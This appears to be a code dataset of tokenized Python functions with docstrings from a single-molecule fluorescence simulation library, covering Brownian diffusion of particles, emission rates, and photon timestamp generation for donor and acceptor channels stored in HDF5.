{"signature": "def concentration(self, pM=False):", "body": "concentr = (self.num_particles / NA) / self.box.volume_L<EOL>if pM:<EOL><INDENT>concentr *= <NUM_LIT><EOL><DEDENT>return concentr<EOL>", "docstring": "Return the concentration (in Moles) of the particles in the box.", "id": "f15419:c5:m13"}
{"signature": "def _sim_trajectories(self, time_size, start_pos, rs,<EOL>total_emission=False, save_pos=False, radial=False,<EOL>wrap_func=wrap_periodic):", "body": "time_size = int(time_size)<EOL>num_particles = self.num_particles<EOL>if total_emission:<EOL><INDENT>em = np.zeros(time_size, dtype=np.float32)<EOL><DEDENT>else:<EOL><INDENT>em = np.zeros((num_particles, time_size), dtype=np.float32)<EOL><DEDENT>POS = []<EOL>for i, sigma_1d in enumerate(self.sigma_1d):<EOL><INDENT>delta_pos = rs.normal(loc=<NUM_LIT:0>, scale=sigma_1d,<EOL>size=<NUM_LIT:3> * time_size)<EOL>delta_pos = delta_pos.reshape(<NUM_LIT:3>, time_size)<EOL>pos = np.cumsum(delta_pos, axis=-<NUM_LIT:1>, out=delta_pos)<EOL>pos += start_pos[i]<EOL>for coord in (<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>):<EOL><INDENT>pos[coord] = wrap_func(pos[coord], *self.box.b[coord])<EOL><DEDENT>Ro = sqrt(pos[<NUM_LIT:0>]**<NUM_LIT:2> + pos[<NUM_LIT:1>]**<NUM_LIT:2>)  <EOL>Z = pos[<NUM_LIT:2>]<EOL>current_em = self.psf.eval_xz(Ro, Z)**<NUM_LIT:2><EOL>if total_emission:<EOL><INDENT>em += current_em.astype(np.float32)<EOL><DEDENT>else:<EOL><INDENT>em[i] = current_em.astype(np.float32)<EOL><DEDENT>if save_pos:<EOL><INDENT>pos_save = np.vstack((Ro, Z)) if radial else pos<EOL>POS.append(pos_save[np.newaxis, :, :])<EOL><DEDENT>start_pos[i] = pos[:, -<NUM_LIT:1>:]<EOL><DEDENT>return POS, em<EOL>", "docstring": "Simulate (in-memory) `time_size` steps of trajectories.\n\n        Simulate Brownian motion diffusion and emission of all the particles.\n        Uses the attributes: num_particles, sigma_1d, box, psf.\n\n        Arguments:\n            time_size (int): number of time steps to be simulated.\n            start_pos (array): shape (num_particles, 3), particles start\n                positions. This array is modified to store the end position\n                after this method is called.\n            rs (RandomState): a `numpy.random.RandomState` object used\n                to generate the random numbers.\n            total_emission (bool): if True, store only the total emission array\n                containing the sum of emission of all the particles.\n            save_pos (bool): if True, save the particles 3D trajectories\n            wrap_func (function): the function used to apply the boundary\n                condition (use :func:`wrap_periodic` or :func:`wrap_mirror`).\n\n        Returns:\n            POS (list): list of 3D trajectories arrays (3 x time_size)\n            em (array): array of emission (total or per-particle)", "id": "f15419:c5:m17"}
{"signature": "def simulate_diffusion(self, save_pos=False, total_emission=True,<EOL>radial=False, rs=None, seed=<NUM_LIT:1>, path='<STR_LIT>',<EOL>wrap_func=wrap_periodic,<EOL>chunksize=<NUM_LIT:2>**<NUM_LIT>, chunkslice='<STR_LIT>', verbose=True):", "body": "if rs is None:<EOL><INDENT>rs = np.random.RandomState(seed=seed)<EOL><DEDENT>self.open_store_traj(chunksize=chunksize, chunkslice=chunkslice,<EOL>radial=radial, path=path)<EOL>self.traj_group._v_attrs['<STR_LIT>'] = rs.get_state()<EOL>em_store = self.emission_tot if total_emission else self.emission<EOL>print('<STR_LIT>' % ctime(), flush=True)<EOL>if verbose:<EOL><INDENT>print('<STR_LIT>' % os.getpid(), end='<STR_LIT>')<EOL><DEDENT>i_chunk = <NUM_LIT:0><EOL>t_chunk_size = self.emission.chunkshape[<NUM_LIT:1>]<EOL>chunk_duration = t_chunk_size * self.t_step<EOL>par_start_pos = self.particles.positions<EOL>prev_time = <NUM_LIT:0><EOL>for time_size in iter_chunksize(self.n_samples, t_chunk_size):<EOL><INDENT>if verbose:<EOL><INDENT>curr_time = int(chunk_duration * (i_chunk + <NUM_LIT:1>))<EOL>if curr_time > prev_time:<EOL><INDENT>print('<STR_LIT>' % curr_time, end='<STR_LIT>', flush=True)<EOL>prev_time = curr_time<EOL><DEDENT><DEDENT>POS, em = self._sim_trajectories(time_size, par_start_pos, rs,<EOL>total_emission=total_emission,<EOL>save_pos=save_pos, radial=radial,<EOL>wrap_func=wrap_func)<EOL>em_store.append(em)<EOL>if save_pos:<EOL><INDENT>self.position.append(np.vstack(POS).astype('<STR_LIT>'))<EOL><DEDENT>i_chunk += <NUM_LIT:1><EOL>self.store.h5file.flush()<EOL><DEDENT>self.traj_group._v_attrs['<STR_LIT>'] = rs.get_state()<EOL>self.store.h5file.flush()<EOL>print('<STR_LIT>' % ctime(), flush=True)<EOL>", "docstring": "Simulate Brownian motion trajectories and emission rates.\n\n        This method performs the Brownian motion simulation using the current\n        set of parameters. Before running this method you can check the\n        disk-space requirements using :method:`print_sizes`.\n\n        Results are stored to disk in HDF5 format and are accessible in\n        in `self.emission`, `self.emission_tot` and `self.position` as\n        pytables arrays.\n\n        Arguments:\n            save_pos (bool): if True, save the particles 3D trajectories\n            total_emission (bool): if True, store only the total emission array\n                containing the sum of emission of all the particles.\n            rs (RandomState object): random state object used as random number\n                generator. If None, use a random state initialized from seed.\n            seed (uint): when `rs` is None, `seed` is used to initialize the\n                random state, otherwise is ignored.\n            wrap_func (function): the function used to apply the boundary\n                condition (use :func:`wrap_periodic` or :func:`wrap_mirror`).\n            path (string): a folder where simulation data is saved.\n            verbose (bool): if False, prints no output.", "id": "f15419:c5:m18"}
{"signature": "def get_timestamps_part(self, name):", "body": "par_name = name + '<STR_LIT>'<EOL>timestamps = self.ts_store.h5file.get_node('<STR_LIT>', name)<EOL>particles = self.ts_store.h5file.get_node('<STR_LIT>', par_name)<EOL>return timestamps, particles<EOL>", "docstring": "Return matching (timestamps, particles) pytables arrays.", "id": "f15419:c5:m23"}
{"signature": "def _sim_timestamps(self, max_rate, bg_rate, emission, i_start, rs,<EOL>ip_start=<NUM_LIT:0>, scale=<NUM_LIT:10>, sort=True):", "body": "counts_chunk = sim_timetrace_bg(emission, max_rate, bg_rate,<EOL>self.t_step, rs=rs)<EOL>nrows = emission.shape[<NUM_LIT:0>]<EOL>if bg_rate is not None:<EOL><INDENT>nrows += <NUM_LIT:1><EOL><DEDENT>assert counts_chunk.shape == (nrows, emission.shape[<NUM_LIT:1>])<EOL>max_counts = counts_chunk.max()<EOL>if max_counts == <NUM_LIT:0>:<EOL><INDENT>return np.array([], dtype=np.int64), np.array([], dtype=np.int64)<EOL><DEDENT>time_start = i_start * scale<EOL>time_stop = time_start + counts_chunk.shape[<NUM_LIT:1>] * scale<EOL>ts_range = np.arange(time_start, time_stop, scale, dtype='<STR_LIT>')<EOL>times_chunk_p = []<EOL>par_index_chunk_p = []<EOL>for ip, counts_chunk_ip in enumerate(counts_chunk):<EOL><INDENT>times_c_ip = []<EOL>for v in range(<NUM_LIT:1>, max_counts + <NUM_LIT:1>):<EOL><INDENT>times_c_ip.append(ts_range[counts_chunk_ip >= v])<EOL><DEDENT>t = np.hstack(times_c_ip)<EOL>times_chunk_p.append(t)<EOL>par_index_chunk_p.append(np.full(t.size, ip + ip_start, dtype='<STR_LIT>'))<EOL><DEDENT>times_chunk = np.hstack(times_chunk_p)<EOL>par_index_chunk = np.hstack(par_index_chunk_p)<EOL>if sort:<EOL><INDENT>index_sort = times_chunk.argsort(kind='<STR_LIT>')<EOL>times_chunk = times_chunk[index_sort]<EOL>par_index_chunk = par_index_chunk[index_sort]<EOL><DEDENT>return times_chunk, par_index_chunk<EOL>", "docstring": "Simulate timestamps from emission trajectories.\n\n        Uses attributes: `.t_step`.\n\n        Returns:\n            A tuple of two arrays: timestamps and particles.", "id": "f15419:c5:m25"}
{"signature": "def simulate_timestamps_mix(self, max_rates, populations, bg_rate,<EOL>rs=None, seed=<NUM_LIT:1>, chunksize=<NUM_LIT:2>**<NUM_LIT:16>,<EOL>comp_filter=None, overwrite=False,<EOL>skip_existing=False, scale=<NUM_LIT:10>,<EOL>path=None, t_chunksize=None, timeslice=None):", "body": "self.open_store_timestamp(chunksize=chunksize, path=path)<EOL>rs = self._get_group_randomstate(rs, seed, self.ts_group)<EOL>if t_chunksize is None:<EOL><INDENT>t_chunksize = self.emission.chunkshape[<NUM_LIT:1>]<EOL><DEDENT>timeslice_size = self.n_samples<EOL>if timeslice is not None:<EOL><INDENT>timeslice_size = timeslice // self.t_step<EOL><DEDENT>name = self._get_ts_name_mix(max_rates, populations, bg_rate, rs=rs)<EOL>kw = dict(name=name, clk_p=self.t_step / scale,<EOL>max_rates=max_rates, bg_rate=bg_rate, populations=populations,<EOL>num_particles=self.num_particles,<EOL>bg_particle=self.num_particles,<EOL>overwrite=overwrite, chunksize=chunksize)<EOL>if comp_filter is not None:<EOL><INDENT>kw.update(comp_filter=comp_filter)<EOL><DEDENT>try:<EOL><INDENT>self._timestamps, self._tparticles = (self.ts_store<EOL>.add_timestamps(**kw))<EOL><DEDENT>except ExistingArrayError as e:<EOL><INDENT>if skip_existing:<EOL><INDENT>print('<STR_LIT>')<EOL>return<EOL><DEDENT>else:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>self.ts_group._v_attrs['<STR_LIT>'] = rs.get_state()<EOL>self._timestamps.attrs['<STR_LIT>'] = rs.get_state()<EOL>self._timestamps.attrs['<STR_LIT>'] = __version__<EOL>ts_list, part_list = [], []<EOL>bg_rates = [None] * (len(max_rates) - <NUM_LIT:1>) + [bg_rate]<EOL>prev_time = <NUM_LIT:0><EOL>for i_start, i_end in iter_chunk_index(timeslice_size, t_chunksize):<EOL><INDENT>curr_time = np.around(i_start * self.t_step, decimals=<NUM_LIT:0>)<EOL>if curr_time > prev_time:<EOL><INDENT>print('<STR_LIT>' % curr_time, end='<STR_LIT>', flush=True)<EOL>prev_time = curr_time<EOL><DEDENT>em_chunk = self.emission[:, i_start:i_end]<EOL>times_chunk_s, par_index_chunk_s =self._sim_timestamps_populations(<EOL>em_chunk, max_rates, populations, bg_rates, i_start,<EOL>rs, scale)<EOL>ts_list.append(times_chunk_s)<EOL>part_list.append(par_index_chunk_s)<EOL><DEDENT>for ts, part in zip(ts_list, part_list):<EOL><INDENT>self._timestamps.append(ts)<EOL>self._tparticles.append(part)<EOL><DEDENT>self.ts_group._v_attrs['<STR_LIT>'] = rs.get_state()<EOL>self._timestamps.attrs['<STR_LIT>'] = rs.get_state()<EOL>self.ts_store.h5file.flush()<EOL>", "docstring": "Compute one timestamps array for a mixture of N populations.\n\n        Timestamp data are saved to disk and accessible as pytables arrays in\n        `._timestamps` and `._tparticles`.\n        The background generated timestamps are assigned a\n        conventional particle number (last particle index + 1).\n\n        Arguments:\n            max_rates (list): list of the peak max emission rate for each\n                population.\n            populations (list of slices): slices to `self.particles`\n                defining each population.\n            bg_rate (float, cps): rate for a Poisson background process\n            rs (RandomState object): random state object used as random number\n                generator. If None, use a random state initialized from seed.\n            seed (uint): when `rs` is None, `seed` is used to initialize the\n                random state, otherwise is ignored.\n            chunksize (int): chunk size used for the on-disk timestamp array\n            comp_filter (tables.Filter or None): compression filter to use\n                for the on-disk `timestamps` and `tparticles` arrays.\n                If None use default compression.\n            overwrite (bool): if True, overwrite any pre-existing timestamps\n                array. If False, never overwrite. The outcome of simulating an\n                existing array is controlled by `skip_existing` flag.\n            skip_existing (bool): if True, skip simulation if the same\n                timestamps array is already present.\n            scale (int): `self.t_step` is multiplied by `scale` to obtain the\n                timestamps units in seconds.\n            path (string): folder where to save the data.\n            timeslice (float or None): timestamps are simulated until\n                `timeslice` seconds. If None, simulate until `self.t_max`.", "id": "f15419:c5:m27"}
{"signature": "def simulate_timestamps_mix_da(self, max_rates_d, max_rates_a,<EOL>populations, bg_rate_d, bg_rate_a,<EOL>rs=None, seed=<NUM_LIT:1>, chunksize=<NUM_LIT:2>**<NUM_LIT:16>,<EOL>comp_filter=None, overwrite=False,<EOL>skip_existing=False, scale=<NUM_LIT:10>,<EOL>path=None, t_chunksize=<NUM_LIT:2>**<NUM_LIT>,<EOL>timeslice=None):", "body": "self.open_store_timestamp(chunksize=chunksize, path=path)<EOL>rs = self._get_group_randomstate(rs, seed, self.ts_group)<EOL>if t_chunksize is None:<EOL><INDENT>t_chunksize = self.emission.chunkshape[<NUM_LIT:1>]<EOL><DEDENT>timeslice_size = self.n_samples<EOL>if timeslice is not None:<EOL><INDENT>timeslice_size = timeslice // self.t_step<EOL><DEDENT>name_d = self._get_ts_name_mix(max_rates_d, populations, bg_rate_d, rs)<EOL>name_a = self._get_ts_name_mix(max_rates_a, populations, bg_rate_a, rs)<EOL>kw = dict(clk_p=self.t_step / scale,<EOL>populations=populations,<EOL>num_particles=self.num_particles,<EOL>bg_particle=self.num_particles,<EOL>overwrite=overwrite, chunksize=chunksize)<EOL>if comp_filter is not None:<EOL><INDENT>kw.update(comp_filter=comp_filter)<EOL><DEDENT>kw.update(name=name_d, max_rates=max_rates_d, bg_rate=bg_rate_d)<EOL>try:<EOL><INDENT>self._timestamps_d, self._tparticles_d = (self.ts_store<EOL>.add_timestamps(**kw))<EOL><DEDENT>except ExistingArrayError as e:<EOL><INDENT>if skip_existing:<EOL><INDENT>print('<STR_LIT>')<EOL>return<EOL><DEDENT>else:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>kw.update(name=name_a, max_rates=max_rates_a, bg_rate=bg_rate_a)<EOL>try:<EOL><INDENT>self._timestamps_a, self._tparticles_a = (self.ts_store<EOL>.add_timestamps(**kw))<EOL><DEDENT>except ExistingArrayError as e:<EOL><INDENT>if skip_existing:<EOL><INDENT>print('<STR_LIT>')<EOL>return<EOL><DEDENT>else:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>self.ts_group._v_attrs['<STR_LIT>'] = rs.get_state()<EOL>self._timestamps_d.attrs['<STR_LIT>'] = rs.get_state()<EOL>self._timestamps_d.attrs['<STR_LIT>'] = __version__<EOL>self._timestamps_a.attrs['<STR_LIT>'] = rs.get_state()<EOL>self._timestamps_a.attrs['<STR_LIT>'] = __version__<EOL>bg_rates_d = [None] * (len(max_rates_d) - <NUM_LIT:1>) + [bg_rate_d]<EOL>bg_rates_a = [None] * (len(max_rates_a) - <NUM_LIT:1>) + [bg_rate_a]<EOL>prev_time = <NUM_LIT:0><EOL>for i_start, i_end in iter_chunk_index(timeslice_size, t_chunksize):<EOL><INDENT>curr_time = np.around(i_start * self.t_step, decimals=<NUM_LIT:1>)<EOL>if curr_time > prev_time:<EOL><INDENT>print('<STR_LIT>' % curr_time, end='<STR_LIT>', flush=True)<EOL>prev_time = curr_time<EOL><DEDENT>em_chunk = self.emission[:, i_start:i_end]<EOL>times_chunk_s_d, par_index_chunk_s_d =self._sim_timestamps_populations(<EOL>em_chunk, max_rates_d, populations, bg_rates_d, i_start,<EOL>rs, scale)<EOL>times_chunk_s_a, par_index_chunk_s_a =self._sim_timestamps_populations(<EOL>em_chunk, max_rates_a, populations, bg_rates_a, i_start,<EOL>rs, scale)<EOL>self._timestamps_d.append(times_chunk_s_d)<EOL>self._tparticles_d.append(par_index_chunk_s_d)<EOL>self._timestamps_a.append(times_chunk_s_a)<EOL>self._tparticles_a.append(par_index_chunk_s_a)<EOL><DEDENT>self.ts_group._v_attrs['<STR_LIT>'] = rs.get_state()<EOL>self._timestamps_d._v_attrs['<STR_LIT>'] = rs.get_state()<EOL>self.ts_store.h5file.flush()<EOL>", "docstring": "Compute D and A timestamps arrays for a mixture of N populations.\n\n        This method reads the emission from disk once, and generates a pair\n        of timestamps arrays (e.g. donor and acceptor) from each chunk.\n\n        Timestamp data are saved to disk and accessible as pytables arrays in\n        `._timestamps_d/a` and `._tparticles_d/a`.\n        The background generated timestamps are assigned a\n        conventional particle number (last particle index + 1).\n\n        Arguments:\n            max_rates_d (list): list of the peak max emission rate in the\n                donor channel for each population.\n            max_rates_a (list): list of the peak max emission rate in the\n                acceptor channel for each population.\n            populations (list of slices): slices to `self.particles`\n                defining each population.\n            bg_rate_d (float, cps): rate for a Poisson background process\n                in the donor channel.\n            bg_rate_a (float, cps): rate for a Poisson background process\n                in the acceptor channel.\n            rs (RandomState object): random state object used as random number\n                generator. If None, use a random state initialized from seed.\n            seed (uint): when `rs` is None, `seed` is used to initialize the\n                random state, otherwise is ignored.\n            chunksize (int): chunk size used for the on-disk timestamp array\n            comp_filter (tables.Filter or None): compression filter to use\n                for the on-disk `timestamps` and `tparticles` arrays.\n                If None use default compression.\n            overwrite (bool): if True, overwrite any pre-existing timestamps\n                array. If False, never overwrite. The outcome of simulating an\n                existing array is controlled by `skip_existing` flag.\n            skip_existing (bool): if True, skip simulation if the same\n                timestamps array is already present.\n            scale (int): `self.t_step` is multiplied by `scale` to obtain the\n                timestamps units in seconds.\n            path (string): folder where to save the data.\n            timeslice (float or None): timestamps are simulated until\n                `timeslice` seconds. If None, simulate until `self.t_max`.", "id": "f15419:c5:m28"}
{"signature": "def simulate_timestamps_mix_da_online(self, max_rates_d, max_rates_a,<EOL>populations, bg_rate_d, bg_rate_a,<EOL>rs=None, seed=<NUM_LIT:1>, chunksize=<NUM_LIT:2>**<NUM_LIT:16>,<EOL>comp_filter=None, overwrite=False,<EOL>skip_existing=False, scale=<NUM_LIT:10>,<EOL>path=None, t_chunksize=<NUM_LIT:2>**<NUM_LIT>,<EOL>timeslice=None):", "body": "self.open_store_timestamp(chunksize=chunksize, path=path)<EOL>rs = self._get_group_randomstate(rs, seed, self.ts_group)<EOL>if t_chunksize is None:<EOL><INDENT>t_chunksize = <NUM_LIT:2>**<NUM_LIT><EOL><DEDENT>timeslice_size = self.n_samples<EOL>if timeslice is not None:<EOL><INDENT>timeslice_size = timeslice // self.t_step<EOL><DEDENT>name_d = self._get_ts_name_mix(max_rates_d, populations, bg_rate_d, rs)<EOL>name_a = self._get_ts_name_mix(max_rates_a, populations, bg_rate_a, rs)<EOL>kw = dict(clk_p=self.t_step / scale,<EOL>populations=populations,<EOL>num_particles=self.num_particles,<EOL>bg_particle=self.num_particles,<EOL>overwrite=overwrite, chunksize=chunksize)<EOL>if comp_filter is not None:<EOL><INDENT>kw.update(comp_filter=comp_filter)<EOL><DEDENT>kw.update(name=name_d, max_rates=max_rates_d, bg_rate=bg_rate_d)<EOL>try:<EOL><INDENT>self._timestamps_d, self._tparticles_d = (self.ts_store<EOL>.add_timestamps(**kw))<EOL><DEDENT>except ExistingArrayError as e:<EOL><INDENT>if skip_existing:<EOL><INDENT>print('<STR_LIT>')<EOL>return<EOL><DEDENT>else:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>kw.update(name=name_a, max_rates=max_rates_a, bg_rate=bg_rate_a)<EOL>try:<EOL><INDENT>self._timestamps_a, self._tparticles_a = (self.ts_store<EOL>.add_timestamps(**kw))<EOL><DEDENT>except ExistingArrayError as e:<EOL><INDENT>if skip_existing:<EOL><INDENT>print('<STR_LIT>')<EOL>return<EOL><DEDENT>else:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>self.ts_group._v_attrs['<STR_LIT>'] = rs.get_state()<EOL>self.ts_group.attrs['<STR_LIT>'] = <NUM_LIT:1><EOL>self._timestamps_d.attrs['<STR_LIT>'] = rs.get_state()<EOL>self._timestamps_d.attrs['<STR_LIT>'] = __version__<EOL>self._timestamps_a.attrs['<STR_LIT>'] = __version__<EOL>print('<STR_LIT>' % ctime(), flush=True)<EOL>par_start_pos = self.particles.positions<EOL>bg_rates_d = [None] * (len(max_rates_d) - <NUM_LIT:1>) + [bg_rate_d]<EOL>bg_rates_a = [None] * (len(max_rates_a) - <NUM_LIT:1>) + [bg_rate_a]<EOL>prev_time = <NUM_LIT:0><EOL>for i_start, i_end in iter_chunk_index(timeslice_size, t_chunksize):<EOL><INDENT>curr_time = np.around(i_start * self.t_step, decimals=<NUM_LIT:1>)<EOL>if curr_time > prev_time:<EOL><INDENT>print('<STR_LIT>' % curr_time, end='<STR_LIT>', flush=True)<EOL>prev_time = curr_time<EOL><DEDENT>_, em_chunk = self._sim_trajectories(t_chunksize, par_start_pos,<EOL>rs,<EOL>total_emission=False,<EOL>save_pos=False, radial=False,<EOL>wrap_func=wrap_periodic)<EOL>times_chunk_s_d, par_index_chunk_s_d =self._sim_timestamps_populations(<EOL>em_chunk, max_rates_d, populations, bg_rates_d, i_start,<EOL>rs, scale)<EOL>times_chunk_s_a, par_index_chunk_s_a =self._sim_timestamps_populations(<EOL>em_chunk, max_rates_a, populations, bg_rates_a, i_start,<EOL>rs, scale)<EOL>self._timestamps_d.append(times_chunk_s_d)<EOL>self._tparticles_d.append(par_index_chunk_s_d)<EOL>self._timestamps_a.append(times_chunk_s_a)<EOL>self._tparticles_a.append(par_index_chunk_s_a)<EOL><DEDENT>self.ts_group._v_attrs['<STR_LIT>'] = rs.get_state()<EOL>self._timestamps_d._v_attrs['<STR_LIT>'] = rs.get_state()<EOL>self.ts_store.h5file.flush()<EOL>print('<STR_LIT>' % ctime(), flush=True)<EOL>", "docstring": "Compute D and A timestamps arrays for a mixture of N populations.\n\n        This method simulates the diffusion, emission and generates a pair\n        of timestamps arrays (e.g. donor and acceptor) all at the same time.\n        This method avoids saving the trajectories to disk.\n\n        Timestamp data are saved to disk and accessible as pytables arrays in\n        `._timestamps_d/a` and `._tparticles_d/a`.\n        The background generated timestamps are assigned a\n        conventional particle number (last particle index + 1).\n\n        Arguments:\n            max_rates (list): list of the peak max emission rate for each\n                population.\n            populations (list of slices): slices to `self.particles`\n                defining each population.\n            bg_rate (float, cps): rate for a Poisson background process\n            rs (RandomState object): random state object used as random number\n                generator. If None, use a random state initialized from seed.\n            seed (uint): when `rs` is None, `seed` is used to initialize the\n                random state, otherwise is ignored.\n            chunksize (int): chunk size used for the on-disk timestamp array\n            comp_filter (tables.Filter or None): compression filter to use\n                for the on-disk `timestamps` and `tparticles` arrays.\n                If None use default compression.\n            overwrite (bool): if True, overwrite any pre-existing timestamps\n                array. If False, never overwrite. The outcome of simulating an\n                existing array is controlled by `skip_existing` flag.\n            skip_existing (bool): if True, skip simulation if the same\n                timestamps array is already present.\n            scale (int): `self.t_step` is multiplied by `scale` to obtain the\n                timestamps units in seconds.\n            path (string): folder where to save the data.\n            timeslice (float or None): timestamps are simulated until\n                `timeslice` seconds. If None, simulate until `self.t_max`.", "id": "f15419:c5:m29"}
{"signature": "def sim_timestamps_em_list(S, max_rate=<NUM_LIT:1>, bg_rate=<NUM_LIT:0>, rs=None, seed=None):", "body": "if rs is None:<EOL><INDENT>rs = np.random.RandomState(seed=seed)<EOL><DEDENT>fractions = [<NUM_LIT:5>, <NUM_LIT:2>, <NUM_LIT:8>, <NUM_LIT:4>, <NUM_LIT:9>, <NUM_LIT:1>, <NUM_LIT:7>, <NUM_LIT:3>, <NUM_LIT:6>, <NUM_LIT:9>, <NUM_LIT:0>, <NUM_LIT:5>, <NUM_LIT:2>, <NUM_LIT:8>, <NUM_LIT:4>, <NUM_LIT:9>]<EOL>scale = <NUM_LIT:10><EOL>max_counts = <NUM_LIT:4><EOL>S.all_times_chunks_list = []<EOL>S.all_par_chunks_list = []<EOL>for i_start, i_end in iter_chunk_index(S.n_samples,<EOL>S.emission.chunkshape[<NUM_LIT:1>]):<EOL><INDENT>counts_chunk = sim_timetrace(S.emission[:, i_start:i_end],<EOL>max_rate, S.t_step)<EOL>counts_bg_chunk = rs.poisson(bg_rate*S.t_step,<EOL>size=counts_chunk.shape[<NUM_LIT:1>]<EOL>).astype('<STR_LIT>')<EOL>index = np.arange(<NUM_LIT:0>, counts_chunk.shape[<NUM_LIT:1>])<EOL>times_chunk_p = []      <EOL>par_index_chunk_p = []  <EOL>for p_i, counts_chunk_p_i in enumerate(counts_chunk.copy()):<EOL><INDENT>times_c_i = [(index[counts_chunk_p_i >= <NUM_LIT:1>] + i_start)*scale]<EOL>for frac, v in zip(fractions, range(<NUM_LIT:2>, max_counts + <NUM_LIT:1>)):<EOL><INDENT>times_c_i.append(<EOL>(index[counts_chunk_p_i >= v] + i_start)*scale + frac<EOL>)<EOL><DEDENT>t = np.hstack(times_c_i)<EOL>times_chunk_p.append(t)<EOL>par_index_chunk_p.append(np.full(t.size, p_i, dtype='<STR_LIT>'))<EOL><DEDENT>time_chunk_bg = (index[counts_bg_chunk >= <NUM_LIT:1>] + i_start)*scale<EOL>times_chunk_p.append(time_chunk_bg)<EOL>par_index_chunk_p.append(np.full(time_chunk_bg.size, p_i+<NUM_LIT:1>,<EOL>dtype='<STR_LIT>'))<EOL>times_chunk_s = np.hstack(times_chunk_p)  <EOL>par_index_chunk_s = np.hstack(par_index_chunk_p)  <EOL>index_sort = times_chunk_s.argsort(kind='<STR_LIT>')<EOL>times_chunk_s = times_chunk_s[index_sort]<EOL>par_index_chunk_s = par_index_chunk_s[index_sort]<EOL>S.all_times_chunks_list.append(times_chunk_s)<EOL>S.all_par_chunks_list.append(par_index_chunk_s)<EOL><DEDENT>", "docstring": "Compute timestamps and particles and store results in a list.\n    Each element contains timestamps from one chunk of emission.\n    Background computed internally.", "id": "f15421:m0"}
{"signature": "def sim_timestamps_em_list1(S, max_rate=<NUM_LIT:1>, bg_rate=<NUM_LIT:0>, rs=None, seed=None):", "body": "if rs is None:<EOL><INDENT>rs = np.random.RandomState(seed=seed)<EOL><DEDENT>fractions = [<NUM_LIT:5>, <NUM_LIT:2>, <NUM_LIT:8>, <NUM_LIT:4>, <NUM_LIT:9>, <NUM_LIT:1>, <NUM_LIT:7>, <NUM_LIT:3>, <NUM_LIT:6>, <NUM_LIT:9>, <NUM_LIT:0>, <NUM_LIT:5>, <NUM_LIT:2>, <NUM_LIT:8>, <NUM_LIT:4>, <NUM_LIT:9>]<EOL>scale = <NUM_LIT:10><EOL>max_counts = <NUM_LIT:4><EOL>S.all_times_chunks_list = []<EOL>S.all_par_chunks_list = []<EOL>for i_start, i_end in iter_chunk_index(S.n_samples,<EOL>S.emission.chunkshape[<NUM_LIT:1>]):<EOL><INDENT>counts_chunk = sim_timetrace_bg(S.emission[:, i_start:i_end],<EOL>max_rate, bg_rate, S.t_step, rs=rs)<EOL>index = np.arange(<NUM_LIT:0>, counts_chunk.shape[<NUM_LIT:1>])<EOL>times_chunk_p = []      <EOL>par_index_chunk_p = []  <EOL>for p_i, counts_chunk_p_i in enumerate(counts_chunk.copy()):<EOL><INDENT>times_c_i = [(index[counts_chunk_p_i >= <NUM_LIT:1>] + i_start)*scale]<EOL>for frac, v in zip(fractions, range(<NUM_LIT:2>, max_counts + <NUM_LIT:1>)):<EOL><INDENT>times_c_i.append(<EOL>(index[counts_chunk_p_i >= v] + i_start)*scale + frac<EOL>)<EOL><DEDENT>t = np.hstack(times_c_i)<EOL>times_chunk_p.append(t)<EOL>par_index_chunk_p.append(np.full(t.size, p_i, dtype='<STR_LIT>'))<EOL><DEDENT>times_chunk_s = np.hstack(times_chunk_p)  <EOL>par_index_chunk_s = np.hstack(par_index_chunk_p)  <EOL>index_sort = times_chunk_s.argsort(kind='<STR_LIT>')<EOL>times_chunk_s = times_chunk_s[index_sort]<EOL>par_index_chunk_s = par_index_chunk_s[index_sort]<EOL>S.all_times_chunks_list.append(times_chunk_s)<EOL>S.all_par_chunks_list.append(par_index_chunk_s)<EOL><DEDENT>", "docstring": "Compute timestamps and particles and store results in a list.\n    Each element contains timestamps from one chunk of emission.\n    Background computed in sim_timetrace_bg() as last fake particle.", "id": "f15421:m1"}
{"signature": "def sim_timestamps_em_list2(S, max_rate=<NUM_LIT:1>, bg_rate=<NUM_LIT:0>, rs=None, seed=None):", "body": "if rs is None:<EOL><INDENT>rs = np.random.RandomState(seed=seed)<EOL><DEDENT>fractions = [<NUM_LIT:5>, <NUM_LIT:2>, <NUM_LIT:8>, <NUM_LIT:4>, <NUM_LIT:9>, <NUM_LIT:1>, <NUM_LIT:7>, <NUM_LIT:3>, <NUM_LIT:6>, <NUM_LIT:9>, <NUM_LIT:0>, <NUM_LIT:5>, <NUM_LIT:2>, <NUM_LIT:8>, <NUM_LIT:4>, <NUM_LIT:9>]<EOL>scale = <NUM_LIT:10><EOL>max_counts = <NUM_LIT:4><EOL>S.all_times_chunks_list = []<EOL>S.all_par_chunks_list = []<EOL>for i_start, i_end in iter_chunk_index(S.n_samples,<EOL>S.emission.chunkshape[<NUM_LIT:1>]):<EOL><INDENT>counts_chunk = sim_timetrace_bg2(S.emission[:, i_start:i_end],<EOL>max_rate, bg_rate, S.t_step, rs=rs)<EOL>index = np.arange(<NUM_LIT:0>, counts_chunk.shape[<NUM_LIT:1>])<EOL>times_chunk_p = []      <EOL>par_index_chunk_p = []  <EOL>for p_i, counts_chunk_p_i in enumerate(counts_chunk.copy()):<EOL><INDENT>times_c_i = [(index[counts_chunk_p_i >= <NUM_LIT:1>] + i_start)*scale]<EOL>for frac, v in zip(fractions, range(<NUM_LIT:2>, max_counts + <NUM_LIT:1>)):<EOL><INDENT>times_c_i.append(<EOL>(index[counts_chunk_p_i >= v] + i_start)*scale + frac<EOL>)<EOL><DEDENT>t = np.hstack(times_c_i)<EOL>times_chunk_p.append(t)<EOL>par_index_chunk_p.append(np.full(t.size, p_i, dtype='<STR_LIT>'))<EOL><DEDENT>times_chunk_s = np.hstack(times_chunk_p)  <EOL>par_index_chunk_s = np.hstack(par_index_chunk_p)  <EOL>index_sort = times_chunk_s.argsort(kind='<STR_LIT>')<EOL>times_chunk_s = times_chunk_s[index_sort]<EOL>par_index_chunk_s = par_index_chunk_s[index_sort]<EOL>S.all_times_chunks_list.append(times_chunk_s)<EOL>S.all_par_chunks_list.append(par_index_chunk_s)<EOL><DEDENT>", "docstring": "Compute timestamps and particles and store results in a list.\n    Each element contains timestamps from one chunk of emission.\n    Background computed in sim_timetrace_bg2() as last fake particle.", "id": "f15421:m2"}
